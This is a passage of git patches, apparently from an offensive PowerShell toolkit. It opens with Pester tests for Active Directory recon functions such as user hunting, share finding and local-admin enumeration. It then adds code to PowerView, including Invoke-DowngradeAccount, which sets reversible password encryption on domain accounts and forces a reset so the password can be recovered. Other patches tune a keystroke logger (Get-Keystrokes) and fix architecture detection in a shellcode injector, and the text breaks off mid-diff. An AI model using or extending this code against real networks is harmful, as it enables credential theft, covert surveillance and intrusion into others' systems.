(Get-NetLoggedon -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept pipeline input" { + if ( ( "$env:computername.$env:userdnsdomain" | Get-NetLoggedon | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } +} + + +Describe "Get-NetSession" { + It "Should return results for the local host" { + if ( (Get-NetSession | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept FQDN -ComputerName argument" { + if ( (Get-NetSession -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetSession -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept the -UserName argument" { + {Get-NetSession -UserName 'Administrator'} | Should Not Throw + } + It "Should accept pipeline input" { + {"$env:computername.$env:userdnsdomain" | Get-NetSession} | Should Not Throw + } +} + + +Describe "Get-NetRDPSession" { + It "Should return results for the local host" { + if ( (Get-NetRDPSession | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept FQDN -ComputerName argument" { + if ( (Get-NetRDPSession -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetRDPSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetRDPSession -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect session results returned" + } + } + It "Should accept pipeline input" { + {"$env:computername.$env:userdnsdomain" | Get-NetRDPSession} | Should Not Throw + } +} + + +Describe "Invoke-CheckLocalAdminAccess" { + It "Should Not Throw for localhost" { + {Invoke-CheckLocalAdminAccess} | Should Not Throw + } + It "Should accept FQDN -ComputerName argument" { + {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept NETBIOS -ComputerName argument" { + {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept IP -ComputerName argument" { + {Invoke-CheckLocalAdminAccess -ComputerName $LocalIP} | Should Not Throw + } + It "Should accept pipeline input" { + {"$env:computername.$env:userdnsdomain" | Invoke-CheckLocalAdminAccess} | Should Not Throw + } +} + + +Describe "Get-LastLoggedOn" { + It "Should return results for the local host" { + if ( (Get-LastLoggedOn | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept FQDN -ComputerName argument" { + if ( (Get-LastLoggedOn -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-LastLoggedOn -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-LastLoggedOn -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept pipeline input" { + {"$env:computername.$env:userdnsdomain" | Get-LastLoggedOn} | Should Not Throw + } +} + + +Describe "Get-CachedRDPConnection" { + It "Should Not Throw" { + {Get-CachedRDPConnection} | Should Not Throw + } + It "Should accept FQDN -ComputerName argument" { + {Get-CachedRDPConnection -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept NETBIOS -ComputerName argument" { + {Get-CachedRDPConnection -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept IP -ComputerName argument" { + {Get-CachedRDPConnection -ComputerName $LocalIP} | Should Not Throw + } + It "Should accept pipeline input" { + {"$env:computername.$env:userdnsdomain" | Get-CachedRDPConnection} | Should Not Throw + } +} + + +Describe "Get-NetProcess" { + It "Should return results for the local host" { + if ( (Get-NetProcess | Measure-Object).count -lt 1) { + Throw "Incorrect process results returned" + } + } + It "Should accept FQDN -ComputerName argument" { + if ( (Get-NetProcess -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Incorrect process results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetProcess -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect process results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetProcess -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect process results returned" + } + } + # TODO: RemoteUserName/RemotePassword + It "Should accept pipeline input" { + {"$env:computername.$env:userdnsdomain" | Get-NetProcess} | Should Not Throw + } +} + + +Describe "Find-InterestingFile" { + #TODO: implement +} + + +Describe "Invoke-UserHunter" { + It "Should accept -ComputerName argument" { + if ( (Invoke-UserHunter -ShowAll -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-UserHunter -ComputerFile ".\targets.txt" -ShowAll | Measure-Object).count -lt 1) { + Remove-Item -Force ".\targets.txt" + Throw "Insuffient results returned" + } + else { + Remove-Item -Force ".\targets.txt" + } + } + It "Should accept -NoPing flag" { + if ( (Invoke-UserHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-UserHunter -ShowAll -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept pipeline input" { + if ( ("$env:computername.$env:userdnsdomain" | Invoke-UserHunter -ShowAll | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-StealthUserHunter" { + # simple test of the splatting + It "Should accept splatting for Invoke-UserHunter" { + {Invoke-StealthUserHunter -ShowAll -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } +} + + +Describe "Invoke-ProcessHunter" { + It "Should accept -ComputerName and -UserName arguments" { + if ( (Invoke-ProcessHunter -UserName $env:USERNAME -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-ProcessHunter -ComputerFile ".\targets.txt" -UserName $env:USERNAME | Measure-Object).count -lt 1) { + Remove-Item -Force ".\targets.txt" + Throw "Insuffient results returned" + } + else { + Remove-Item -Force ".\targets.txt" + } + } + It "Should accept -ProcessName argument" { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -ProcessName powershell | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -UserFile argument" { + "$env:USERNAME" | Out-File -Encoding ASCII target_users.txt + if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) { + Remove-Item -Force ".\target_users.txt" + Throw "Insuffient results returned" + } + else { + Remove-Item -Force ".\target_users.txt" + } + } + It "Should accept -NoPing flag" { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-ProcessHunter -UserName $env:USERNAME -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept pipeline input" { + if ( ("$env:computername.$env:userdnsdomain" | Invoke-ProcessHunter -UserName $env:USERNAME | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-ShareFinder" { + It "Should accept -ComputerName argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-ShareFinder -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Remove-Item -Force ".\targets.txt" + Throw "Insuffient results returned" + } + else { + Remove-Item -Force ".\targets.txt" + } + } + It "Should accept -ExcludeStandard argument" { + {Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludeStandard} | Should Not Throw + } + It "Should accept -ExcludePrint argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludePrint | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -ExcludeIPC argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludeIPC | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -CheckShareAccess argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -CheckShareAccess | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -CheckAdmin argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -CheckAdmin | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -NoPing argument" { + if ( (Invoke-ShareFinder -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-ShareFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept pipeline input" { + if ( ("$env:computername.$env:userdnsdomain" | Invoke-ShareFinder | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-FileFinder" { + It "Should accept -ComputerName argument" { + {Invoke-FileFinder -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + {Invoke-FileFinder -ComputerFile ".\targets.txt"} | Should Not Throw + Remove-Item -Force ".\targets.txt" + } + It "Should accept -ShareList argument" { + "\\$($env:computername)\\IPC$" | Out-File -Encoding ASCII shares.txt + {Invoke-FileFinder -ShareList ".\shares.txt"} | Should Not Throw + Remove-Item -Force ".\shares.txt" + } + It "Should accept -Terms argument" { + {Invoke-FileFinder -Terms secret,testing -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept -OfficeDocs argument" { + {Invoke-FileFinder -OfficeDocs -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept -FreshEXEs argument" { + {Invoke-FileFinder -FreshEXEs -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept -LastAccessTime argument" { + {Invoke-FileFinder -LastAccessTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept -LastWriteTime argument" { + {Invoke-FileFinder -LastWriteTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept -ExcludeFolders argument" { + {Invoke-FileFinder -ExcludeFolders -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept -ExcludeHidden argument" { + {Invoke-FileFinder -ExcludeHidden -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept -CreationTime argument" { + {Invoke-FileFinder -CreationTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept -OutFile argument" { + {Invoke-FileFinder -ComputerName "$env:computername.$env:userdnsdomain" -OutFile "found_files.csv"} | Should Not Throw + if(Test-Path -Path .\found_files.csv) { + $Null = Remove-Item -Force .\found_files.csv + } + } + It "Should accept -NoPing argument" { + {Invoke-FileFinder -NoPing -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + } + It "Should accept -Delay and -Jitter arguments" { + {Invoke-FileFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain")} | Should Not Throw + } + It "Should accept pipeline input" { + {"$env:computername.$env:userdnsdomain" | Invoke-FileFinder} | Should Not Throw + } +} + + +Describe "Find-LocalAdminAccess" { + It "Should accept -ComputerName argument" { + if ( (Find-LocalAdminAccess -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + if ( (Find-LocalAdminAccess -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Remove-Item -Force ".\targets.txt" + Throw "Insuffient results returned" + } + else { + Remove-Item -Force ".\targets.txt" + } + } + It "Should accept -NoPing argument" { + if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Find-LocalAdminAccess -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept pipeline input" { + if ( ("$env:computername.$env:userdnsdomain" | Find-LocalAdminAccess | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-EnumerateLocalAdmin" { + It "Should accept -ComputerName argument" { + if ( (Invoke-EnumerateLocalAdmin -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-EnumerateLocalAdmin -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Remove-Item -Force ".\targets.txt" + Throw "Insuffient results returned" + } + else { + Remove-Item -Force ".\targets.txt" + } + } + It "Should accept -NoPing argument" { + if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-EnumerateLocalAdmin -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Outfile argument" { + Invoke-EnumerateLocalAdmin -ComputerName "$env:computername.$env:userdnsdomain" -OutFile "local_admins.csv" + ".\local_admins.csv" | Should Exist + Remove-Item -Force .\local_admins.csv + } + It "Should accept pipeline input" { + if ( ("$env:computername.$env:userdnsdomain" | Invoke-EnumerateLocalAdmin | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} From a0b95c36b4a3ce0a172fcf98426601f2faa18d64 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 11 Dec 2015 10:21:39 -0500 Subject: [PATCH 048/296] Domain local group query fix. Added ConvertFrom-UACValue to convert binary UAC values to human readable format. Corrected logic in Set-ADObject. --- Recon/PowerView.ps1 | 170 ++++++++++++++++++++++++++++++++++++-------- 1 file changed, 140 insertions(+), 30 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 7c195e8b..07459169 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1228,6 +1228,118 @@ function Convert-CanonicaltoNT4 { } +function ConvertFrom-UACValue { +<# + .SYNOPSIS + + Converts a UAC int value to human readable form. + + .PARAMETER Value + + The int UAC value to convert. + + .PARAMETER ShowAll + + Show all UAC values, with a + indicating the value is currently set. + + .EXAMPLE + + PS C:\> ConvertFrom-UACValue -Value 66176 + + Convert the UAC value 66176 to human readable format. + + .EXAMPLE + + PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue + + Convert the UAC value for 'jason' to human readable format. + + .EXAMPLE + + PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll + + Convert the UAC value for 'jason' to human readable format, showing all + possible UAC values. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + $Value, + + [Switch] + $ShowAll + ) + + begin { + + # values from https://support.microsoft.com/en-us/kb/305144 + $UACValues = New-Object System.Collections.Specialized.OrderedDictionary + $UACValues.Add("SCRIPT", 1) + $UACValues.Add("ACCOUNTDISABLE", 2) + $UACValues.Add("HOMEDIR_REQUIRED", 8) + $UACValues.Add("LOCKOUT", 16) + $UACValues.Add("PASSWD_NOTREQD", 32) + $UACValues.Add("PASSWD_CANT_CHANGE", 64) + $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) + $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) + $UACValues.Add("NORMAL_ACCOUNT", 512) + $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) + $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) + $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) + $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) + $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) + $UACValues.Add("SMARTCARD_REQUIRED", 262144) + $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) + $UACValues.Add("NOT_DELEGATED", 1048576) + $UACValues.Add("USE_DES_KEY_ONLY", 2097152) + $UACValues.Add("DONT_REQ_PREAUTH", 4194304) + $UACValues.Add("PASSWORD_EXPIRED", 8388608) + $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) + $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) + + } + + process { + + $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary + + if($Value -is [Int]) { + $IntValue = $Value + } + + if ($Value -is [PSCustomObject]) { + if($Value.useraccountcontrol) { + $IntValue = $Value.useraccountcontrol + } + } + + if($IntValue) { + + if($ShowAll) { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + else { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + } + + $ResultUACValues + } +} + + function Get-Proxy { <# .SYNOPSIS @@ -1379,7 +1491,7 @@ function Get-PathAcl { $Names = @() $SIDs = @($Object.objectsid) - if ($Recurse -and ($Object.samAccountType -eq "268435456")) { + if ($Recurse -and ($Object.samAccountType -ne "805306368")) { $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid } @@ -3531,6 +3643,12 @@ function Set-ADObject { PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 Set the countrycode for matt.admin to 0 + + .EXAMPLE + + PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536 + + Set the password not to expire on matt.admin #> [CmdletBinding()] @@ -3582,32 +3700,24 @@ function Set-ADObject { # get the modifiable object for this search result $Entry = $RawObject.GetDirectoryEntry() - # if the property name doesn't already exist - if(!$Entry.$PropertyName) { - $Entry.put($PropertyName, $PropertyValue) - $Entry.setinfo() + if($ClearValue) { + Write-Verbose "Clearing value" + $Entry.$PropertyName.clear() + $Entry.commitchanges() } - else { - if($ClearValue) { - # remove the value fromt the entry - Write-Verbose "Clearing value" - $Entry.$PropertyName.clear() - } - else { - # resolve this property's type name so as can properly set it - $TypeName = $Entry.$PropertyName[0].GetType().name - - # if we're binary-or'ing the current value - if($PropertyXorValue) { - # UAC value references- https://support.microsoft.com/en-us/kb/305144 - $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue - } + elseif($PropertyXorValue) { + $TypeName = $Entry.$PropertyName[0].GetType().name - $Entry.$PropertyName = $PropertyValue -as $TypeName - } + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + $Entry.$PropertyName = $PropertyValue -as $TypeName + $Entry.commitchanges() + } - $Entry.commitchanges() + else { + $Entry.put($PropertyName, $PropertyValue) + $Entry.setinfo() } } catch { @@ -4265,10 +4375,10 @@ function Get-NetGroup { } else { if ($SID) { - $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } else { - $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" } $GroupSearcher.FindAll() | Where-Object {$_} | ForEach-Object { @@ -4430,15 +4540,15 @@ function Get-NetGroupMember { } else { if ($GroupName) { - $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" } elseif ($SID) { - $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } else { # default to domain admins $SID = (Get-DomainSID -Domain $Domain) + "-512" - $GroupSearcher.filter = "(&(samAccountType=268435456)(objectSID=$SID)$Filter)" + $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } $GroupSearcher.FindAll() | ForEach-Object { @@ -4510,7 +4620,7 @@ function Get-NetGroupMember { if($Properties) { - if($Properties.samaccounttype -match '268435456') { + if($Properties.samaccounttype -notmatch '805306368') { $IsGroup = $True } else { @@ -5736,7 +5846,7 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -match '268435456') + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -notmatch '805306368') $GPOComputerAdmin # if we're recursing and the current result object is a group From a336562b700b462b507182be875a76919db58d88 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 11 Dec 2015 14:58:07 -0500 Subject: [PATCH 049/296] Added Invoke-DowngradeAccount to set an account to use reversible encryption. --- Recon/PowerView.ps1 | 118 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 117 insertions(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 07459169..46285f4e 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3618,6 +3618,10 @@ function Set-ADObject { Domain controller to reflect LDAP queries through. + .PARAMETER Filter + + Additional LDAP filter string for the query. + .PARAMETER PropertyName The property name to set. @@ -3628,7 +3632,7 @@ function Set-ADObject { .PARAMETER PropertyXorValue - Integer calue to binary xor (-bxor) with the current int value. + Integer value to binary xor (-bxor) with the current int value. .PARAMETER ClearValue @@ -3668,6 +3672,9 @@ function Set-ADObject { [String] $DomainController, + [String] + $Filter, + [Parameter(Mandatory = $True)] [String] $PropertyName, @@ -3691,6 +3698,7 @@ function Set-ADObject { 'SamAccountName' = $SamAccountName 'Domain' = $Domain 'DomainController' = $DomainController + 'Filter' = $Filter 'PageSize' = $PageSize } # splat the appropriate arguments to Get-ADObject @@ -3726,6 +3734,114 @@ function Set-ADObject { } +function Invoke-DowngradeAccount { +<# + .SYNOPSIS + + Set reversible encryption on a given account and then force the password + to be set on next user login. To repair use "-Repair". + + .PARAMETER SamAccountName + + The SamAccountName of the domain object you're querying for. + + .PARAMETER Name + + The Name of the domain object you're querying for. + + .PARAMETER Domain + + The domain to query for objects, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER Filter + + Additional LDAP filter string for the query. + + .PARAMETER Repair + + Switch. Unset the reversible encryption flag and force password reset flag. + + .EXAMPLE + + PS> Invoke-DowngradeAccount -SamAccountName jason + + Set reversible encryption on the 'jason' account and force the password to be changed. + + .EXAMPLE + + PS> Invoke-DowngradeAccount -SamAccountName jason -Repair + + Unset reversible encryption on the 'jason' account and remove the forced password change. +#> + + [CmdletBinding()] + Param ( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $SamAccountName, + + [String] + $Name, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $Filter, + + [Switch] + $Repair + ) + + process { + $Arguments = @{ + 'SamAccountName' = $SamAccountName + 'Name' = $Name + 'Domain' = $Domain + 'DomainController' = $DomainController + 'Filter' = $Filter + } + + # splat the appropriate arguments to Get-ADObject + $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue + + if($Repair) { + + if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") { + # if reversible encryption is set, unset it + Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 + } + + # unset the forced password change + Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1 + } + + else { + + if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") { + # if the password is set to never expire, unset + Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536 + } + + if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") { + # if reversible encryption is not set, set it + Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128 + } + + # force the password to be changed on next login + Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0 + } + } +} + + function Get-ComputerProperty { <# .SYNOPSIS From 93a71b037caa65fec2431fe54e93981fd3c2e655 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 14 Dec 2015 09:11:05 -0800 Subject: [PATCH 050/296] Adding PollingInterval param to Get-Keystrokes Incorporates idea from @obscuresec in issue #50. --- Exfiltration/Get-Keystrokes.ps1 | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 8beaf75f..d0405895 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -12,12 +12,16 @@ function Get-Keystrokes { .PARAMETER LogPath - Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'. + Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log. .PARAMETER CollectionInterval Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. +.PARAMETER PollingInterval + + Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds. + .EXAMPLE Get-Keystrokes -LogPath C:\key.log @@ -26,6 +30,10 @@ function Get-Keystrokes { Get-Keystrokes -CollectionInterval 20 +.EXAMPLE + + Get-Keystrokes -PollingInterval 35 + .LINK http://www.obscuresec.com/ @@ -39,7 +47,11 @@ function Get-Keystrokes { [Parameter(Position = 1)] [UInt32] - $CollectionInterval + $CollectionInterval, + + [Parameter(Position = 2)] + [Int32] + $PollingInterval = 40 ) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) @@ -139,7 +151,7 @@ function Get-Keystrokes { $ImportDll = $TypeBuilder.CreateType() } - Start-Sleep -Milliseconds 40 + Start-Sleep -Milliseconds $PollingInterval try { From 7f6d3a4565643e954970405817052f5cbe75836b Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 14 Dec 2015 11:02:14 -0800 Subject: [PATCH 051/296] Fix Invoke-Shellcode OS architecture detection Fixes issue #70 --- CodeExecution/Invoke-Shellcode.ps1 | 33 +++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 10 deletions(-) diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 5ec681ad..28795583 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -193,7 +193,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $IsWow64 = $false - if ($64bitCPU) # Only perform theses checks if CPU is 64-bit + if ($64bitOS) # Only perform theses checks if CPU is 64-bit { # Determine if the process specified is 32 or 64 bit $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null @@ -376,16 +376,29 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit # A valid pointer to IsWow64Process will be returned if CPU is 64-bit $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process - if 